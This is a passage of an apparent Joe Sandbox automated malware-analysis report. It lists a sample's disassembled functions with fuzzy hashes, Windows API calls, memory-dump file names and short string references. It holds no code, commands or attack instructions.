Opcode Fuzzy Hash: a64d8e0c5ed3cac769b363a402bbeec0766f2e559026120cf98c356e912a0d71
Instruction Fuzzy Hash: BF51F4B09853459FDB20CF75C881AAABBE9EF85304F18C56FE08A8B351E674D945CB90

Function 009DD2D2 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,009DD1C1,009ECB48,0000000C), ref: 009DD31E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,009DD1C1,009ECB48,0000000C), ref: 009DD330

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 97734bdbc83473e9e72ef3d718979effc62b17088e6787ac333d3a33bdc6f788
Instruction ID: bfd8021ad05afadbe51a38a100551a46b9369115c216397125e8587eb8f3436f
Opcode Fuzzy Hash: 97734bdbc83473e9e72ef3d718979effc62b17088e6787ac333d3a33bdc6f788
Instruction Fuzzy Hash: 6111D671545B814AC7304E3E8C88622FA9CA766338B384B1BD1B6877F6D334D946D242

Function 009BA0B0 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 009BA146
ExitProcess.KERNEL32 ref: 009BA16C

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 7ee63a893e8f360b8c116893ea447860b0047fb95cd71158a6d4fd938a709d97
Instruction ID: 420a03ce7ce15d19725978610a4ef42404634e9a5ea37ab60c3297bae1f838d8
Opcode Fuzzy Hash: 7ee63a893e8f360b8c116893ea447860b0047fb95cd71158a6d4fd938a709d97
Instruction Fuzzy Hash: 36112B35B192546BE7548A2C8960BAE37EB8BCE720F154069E445D7380DE314C468781

Function 009DC7EC Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,009E0F98,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 009DC820
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,-00000008,-00000008,?,009E0F98,?,?,-00000008,?,00000000), ref: 009DC83E

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 3a2f3bb8886290c9796612d34c9f36ce88b6fdd480cc61b6a7f04afb08eb72e6
Instruction ID: c5cac98bdc1372d734dadf38fc52fab00f45984b79c5537b9ad0e6f2399542cf
Opcode Fuzzy Hash: 3a2f3bb8886290c9796612d34c9f36ce88b6fdd480cc61b6a7f04afb08eb72e6
Instruction Fuzzy Hash: CDF07A7244415ABBCF125F90DC05EDE7F66EF88360F058021FA1825221C736C932FB90

Function 009DDC6B Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,009DBCAC,009B782F), ref: 009DDC81
GetLastError.KERNEL32(?,?,009DBCAC,009B782F), ref: 009DDC8C

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: f3ddca6716bd868bb1b05e0f261e7d26a2ac39d6a84dd292dae5fb3f8b9fce37
Instruction ID: c964326344e73e81d819a9dc5faba1f1dc8ff7a433ccf25f4c8563ae74b3d981
Opcode Fuzzy Hash: f3ddca6716bd868bb1b05e0f261e7d26a2ac39d6a84dd292dae5fb3f8b9fce37
Instruction Fuzzy Hash: B6E08C32596608ABDB113FE5FE49B893BAC9B80391F508022FA089E271CB748D41D794

Function 009DDA79 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(00000083,?,00000005,009DD8FA,?), ref: 009DDAAB

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 4cb1d40b1329bf18be625e375ae1f6fade18a4af1a2c1335c1e512ab0a400e25
Instruction ID: 87d69edb828d2dae6be65873bbe67311520d06f6a44cb3d2aed89646a92b3b6d
Opcode Fuzzy Hash: 4cb1d40b1329bf18be625e375ae1f6fade18a4af1a2c1335c1e512ab0a400e25
Instruction Fuzzy Hash: 9B517AB0909158ABDB118E28CCC4BF9BB6CEB55304F1481EBE099C7282C3799E85CF60

Function 009BB0E4 Relevance: 1.6, APIs: 1, Instructions: 55
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 009BB0FC

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 17f4222683e62677f82b8149ed5046621e738f7c94d07350c7555b0c98392624
Instruction ID: 7f2e1b1c3607373203855ba1b1f514223f8c1172ed0b9136934662a7272c1cd0
Opcode Fuzzy Hash: 17f4222683e62677f82b8149ed5046621e738f7c94d07350c7555b0c98392624
Instruction Fuzzy Hash: ED114C7161C3829FCE2C8A284BA54BD62577FD7330F38485EF5038BBA4D9638C459603

Function 009DEBBB Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,009B76E8,?,?,009B76E8,01E84800), ref: 009DEBED

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7dfba7abeda56dc33555a1300cc109d0120a06ddc81a24bdf9b8e320f9e96ce8
Instruction ID: bdb28622729ade7b9e1d6a13a178d4ae352373f2aa4e23bc0142c9059a7ae645
Opcode Fuzzy Hash: 7dfba7abeda56dc33555a1300cc109d0120a06ddc81a24bdf9b8e320f9e96ce8
Instruction Fuzzy Hash: 6AE09B319D522656E72136AB9C05B5B364C9F417B0F55C123FC579E391DF1DEC0181E1

Non-executed Functions

Function 009C6350 Relevance: 77.7, Strings: 61, Instructions: 1445COMMON

Download Yara Rule

Strings

zL%, xrefs: 009C7A49
zL%, xrefs: 009C6658
zL%, xrefs: 009C6BBE
zL%, xrefs: 009C6BD3
zL%, xrefs: 009C64EF
zL%, xrefs: 009C7380
zL%, xrefs: 009C69BE
V?D, xrefs: 009C71C5
zL%, xrefs: 009C63B0
zL%, xrefs: 009C6B33
KH%Y, xrefs: 009C700D
{L%, xrefs: 009C6D1A
zL%, xrefs: 009C6EBF
zL%, xrefs: 009C6BE8
zL%, xrefs: 009C76D2
V?D, xrefs: 009C71BA
zL%, xrefs: 009C6A22
KJn?, xrefs: 009C79BD
i^', xrefs: 009C7132
i^', xrefs: 009C7644
LH%Y, xrefs: 009C7023
zL%, xrefs: 009C7173
zL%, xrefs: 009C6A37
zL%, xrefs: 009C6F8C
V?D, xrefs: 009C7183
zL%, xrefs: 009C6B09
{L%, xrefs: 009C729D
zL%, xrefs: 009C7044
zL%, xrefs: 009C73B6
V?D, xrefs: 009C7B1B
zL%, xrefs: 009C691C
zL%, xrefs: 009C6611
KJn?, xrefs: 009C79AF
zL%, xrefs: 009C783E
zL%, xrefs: 009C73EC
zL%, xrefs: 009C779C
zL%, xrefs: 009C797C
zL%, xrefs: 009C6FD8
LH%Y, xrefs: 009C72EF
zL%, xrefs: 009C790E
zL%, xrefs: 009C7600
zL%, xrefs: 009C638E
zL%, xrefs: 009C7829
zL%, xrefs: 009C68E6
KJn?, xrefs: 009C6D58
KJn?, xrefs: 009C71A4
zL%, xrefs: 009C7B20
zL%, xrefs: 009C6B1E
i^', xrefs: 009C7124
{L%, xrefs: 009C6C2C
V?D, xrefs: 009C73C6
i^', xrefs: 009C7354
LH%Y, xrefs: 009C72E1
h^', xrefs: 009C705B
zL%, xrefs: 009C7282
zL%, xrefs: 009C7B71
zL%, xrefs: 009C7967
LH%Y, xrefs: 009C76BD
{L%, xrefs: 009C6D0C
zL%, xrefs: 009C68B0
zL%, xrefs: 009C7BC6

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: KH%Y$KJn?$KJn?$KJn?$KJn?$LH%Y$LH%Y$LH%Y$LH%Y$h^'$i^'$i^'$i^'$i^'$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%${L%${L%${L%${L%$V?D$V?D$V?D$V?D$V?D
API String ID: 0-3543999248
Opcode ID: 4c32e6043597d02589c594856564f449bb2129b20e8755ff7d58ec70e54fc7da
Instruction ID: 7a6e90a8816db7a9c0041c1ecca1142786f52053c40ec6a1caa2360d75ad1261
Opcode Fuzzy Hash: 4c32e6043597d02589c594856564f449bb2129b20e8755ff7d58ec70e54fc7da
Instruction Fuzzy Hash: AAB2F63AA296404F5A28CA6895C4F2DB2969FD53707358F0EE426CF3F4DB39CD429643

Function 009C9BA0 Relevance: 45.8, Strings: 35, Instructions: 2072COMMON

Download Yara Rule

Strings

W8|, xrefs: 009CB3BE
fM@#, xrefs: 009CB840
[u, xrefs: 009CA048
X8|, xrefs: 009CB865
fM@#, xrefs: 009CBE46
Dt, xrefs: 009CA4AE
Yrf1, xrefs: 009CB9CE
sL, xrefs: 009CBB8E
2h`?, xrefs: 009CB438
(, xrefs: 009CA480
Yrf1, xrefs: 009CB2E2
J+z7, xrefs: 009CAE17
fM@#, xrefs: 009CBABF
(, xrefs: 009C9CC0
Hyol, xrefs: 009CB731
zN_, xrefs: 009CB6BA
X8|, xrefs: 009CBE8E
zN_, xrefs: 009CAC13
2h`?, xrefs: 009CBE71
Dt, xrefs: 009CB700
Yrf1, xrefs: 009CA320
No, xrefs: 009C9FBE
Hyol, xrefs: 009CB539
Hyol, xrefs: 009CB543
No, xrefs: 009CB177
2h`?, xrefs: 009CAC0E
J+z7, xrefs: 009CB1C9
Dt, xrefs: 009CACC0
[u, xrefs: 009CAC9F
zN_, xrefs: 009CBC0C
2h`?, xrefs: 009CAC18
Hyol, xrefs: 009CAF4E
[u, xrefs: 009C9DAB
sL, xrefs: 009CB6F4
(, xrefs: 009C9C90

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: ($($($sL$sL$2h`?$2h`?$2h`?$2h`?$Dt$Dt$Dt$Hyol$Hyol$Hyol$Hyol$J+z7$J+z7$W8|$X8|$X8|$Yrf1$Yrf1$Yrf1$fM@#$fM@#$fM@#$zN_$zN_$zN_$No$No$[u$[u$[u
API String ID: 0-1459843020
Opcode ID: a6f2bf6a9c6f8fcdfa3ccab856aa30851e488d29598da8bd60dd969e1aaf1b26
Instruction ID: 66bd7e8118fae221d2f7c1ab6a7352dcce3b926a757ed44b10e8f712bbfe2668
Opcode Fuzzy Hash: a6f2bf6a9c6f8fcdfa3ccab856aa30851e488d29598da8bd60dd969e1aaf1b26
Instruction Fuzzy Hash: 34E2163BF695418B4A28CA2CD9C9B2D72D397D4324B2B8E5FD8124F3E4D7398C819647

Function 009D1D50 Relevance: 32.0, Strings: 24, Instructions: 1978COMMON

Download Yara Rule

Strings

!]j, xrefs: 009D1E30
&qq!, xrefs: 009D376A
>g[, xrefs: 009D1F30
&qq!, xrefs: 009D327B
+I"w, xrefs: 009D20F9
"]j, xrefs: 009D3A08
,I"w, xrefs: 009D37A5
fVp, xrefs: 009D2A00
&, xrefs: 009D39A1
&qq!, xrefs: 009D21C2
"]j, xrefs: 009D2987
fVp, xrefs: 009D1E20
/YS, xrefs: 009D36A9
&, xrefs: 009D299F
"]j, xrefs: 009D39FE
,I"w, xrefs: 009D2E48
&, xrefs: 009D32E0
,I"w, xrefs: 009D3797
/YS, xrefs: 009D1F6C
,I"w, xrefs: 009D3B7F
/YS, xrefs: 009D36BB
&, xrefs: 009D39AC
&qq!, xrefs: 009D375C
"]j, xrefs: 009D24A3

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: >g[$!]j$"]j$"]j$"]j$"]j$&qq!$&qq!$&qq!$&qq!$&$&$&$&$+I"w$,I"w$,I"w$,I"w$,I"w$fVp$fVp$/YS$/YS$/YS
API String ID: 0-635301867
Opcode ID: 3643c498c19e89080a2fb82c8322a9e8b8b020d95850d3f8fac5aefa8710e837
Instruction ID: 6c4efddf2e67a98006412d608c0191ef097205cf222689808f01785e53512dc6
Opcode Fuzzy Hash: 3643c498c19e89080a2fb82c8322a9e8b8b020d95850d3f8fac5aefa8710e837
Instruction Fuzzy Hash: 5BD2183B69D1409B4A2CCA24A9E053D73979BE8371774CA1FE8274F7E8C7359E419A03

Function 009CF360 Relevance: 19.6, Strings: 14, Instructions: 2099COMMON

Download Yara Rule

Strings

kX]E, xrefs: 009CF61B
>am#, xrefs: 009CFB35
lX]E, xrefs: 009D03A1
>am#, xrefs: 009CF3DF
$^t0, xrefs: 009D0423
6Haz, xrefs: 009D0A2A
=am#, xrefs: 009CF4B4
>am#, xrefs: 009D0232
lX]E, xrefs: 009CFD20
lX]E, xrefs: 009D0324
$^t0, xrefs: 009D0031
$^t0, xrefs: 009D0252
6Haz, xrefs: 009D1176
6Haz, xrefs: 009CF968

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: $^t0$$^t0$$^t0$6Haz$6Haz$6Haz$=am#$>am#$>am#$>am#$kX]E$lX]E$lX]E$lX]E
API String ID: 0-4155389939
Opcode ID: 94b05a1163c88b4cd00dde2e87ac18c7580a99f2d4dbe3aab10932e3fdfdc886
Instruction ID: eb9bed6a6e6cbc7fd5f91eb7d4b5e0e14b6f4b2979c7231f6065f4f7a9e83010
Opcode Fuzzy Hash: 94b05a1163c88b4cd00dde2e87ac18c7580a99f2d4dbe3aab10932e3fdfdc886
Instruction Fuzzy Hash: CDD26D36F582548B8F2C8A2CD4F467EB3D69F99320725466FDC13AF3B0C7229C459692

Function 009D7860 Relevance: 17.1, Strings: 13, Instructions: 886COMMON

Download Yara Rule

Strings

WlUi, xrefs: 009D7B85
1I#, xrefs: 009D7BB0
U/, xrefs: 009D8144
VlUi, xrefs: 009D80CD
U/, xrefs: 009D7DBE
U/, xrefs: 009D854D
WlUi, xrefs: 009D7B77
1I#, xrefs: 009D832E
1I#, xrefs: 009D7CE2
WlUi, xrefs: 009D7E41
U/, xrefs: 009D856A
1I#, xrefs: 009D7BC2
WlUi, xrefs: 009D8381

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: VlUi$WlUi$WlUi$WlUi$WlUi$1I#$1I#$1I#$1I#$U/$U/$U/$U/
API String ID: 0-3233344364
Opcode ID: 9649b36b57de69b3a68f73836a5f5a7ab5f712bc835ee2cf40e576612d948d9a
Instruction ID: 03ae3e0d502bed764b76ee34c9726f330a715574e39190c671249b073d742bd9
Opcode Fuzzy Hash: 9649b36b57de69b3a68f73836a5f5a7ab5f712bc835ee2cf40e576612d948d9a
Instruction Fuzzy Hash: BB52AF3669D7445F4A28CA6C99C803BB2869BA4330B74CA13DA16CF3F5FA64DC41E742

Function 009CDD20 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 293COMMON

Download Yara Rule

Strings

eIY, xrefs: 009CDE18
eIY, xrefs: 009CDD95
string too long, xrefs: 009CDE7A
eIY, xrefs: 009CDDB8
S@, xrefs: 009CE403

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: string too long$S@$eIY$eIY$eIY
API String ID: 0-2211027269
Opcode ID: 376cdaff10c127fdb92a02cc9c1dc029a682ad5f3ac0fd014a55b314d89cc118
Instruction ID: 84689278f4764a10c932f6a4306a31263667b093383ad653e161f589f9581366
Opcode Fuzzy Hash: 376cdaff10c127fdb92a02cc9c1dc029a682ad5f3ac0fd014a55b314d89cc118
Instruction Fuzzy Hash: 80918D37F1A2418B9E28862889D5B3D759B6FE1320B698D2EE807CF7E5C739CC455243

Function 009C5F80 Relevance: 9.0, Strings: 7, Instructions: 233COMMON

Download Yara Rule

Strings

9z`, xrefs: 009C614A
9z`, xrefs: 009C6008
C`lB, xrefs: 009C6020
C`lB, xrefs: 009C606B
9z`, xrefs: 009C62CB
C`lB, xrefs: 009C6049
9z`, xrefs: 009C612C

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: C`lB$C`lB$C`lB$9z`$9z`$9z`$9z`
API String ID: 0-915920326
Opcode ID: 09e50f01378c5786bd647997ea62150fed71ed9975f21708a07f91aca3173ed6
Instruction ID: 17d07df8ef73617d9320cac22e91ba4085746e541f04f369cda416e8c25b7d37
Opcode Fuzzy Hash: 09e50f01378c5786bd647997ea62150fed71ed9975f21708a07f91aca3173ed6
Instruction Fuzzy Hash: D18159379256508BCA288A185484B1D76959BD53A4F368B1FDC22EF3E0C73ADC46DBC3

Function 009BA36B Relevance: 9.0, Strings: 7, Instructions: 230COMMON

Download Yara Rule

Strings

@\, xrefs: 009BA377
A\, xrefs: 009BA9AB
"!-, xrefs: 009BB46D
"!-, xrefs: 009BB872
A\, xrefs: 009BB86D
"!-, xrefs: 009BB880
A\, xrefs: 009BB85B

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: @\$A\$A\$A\$"!-$"!-$"!-
API String ID: 0-1374745079
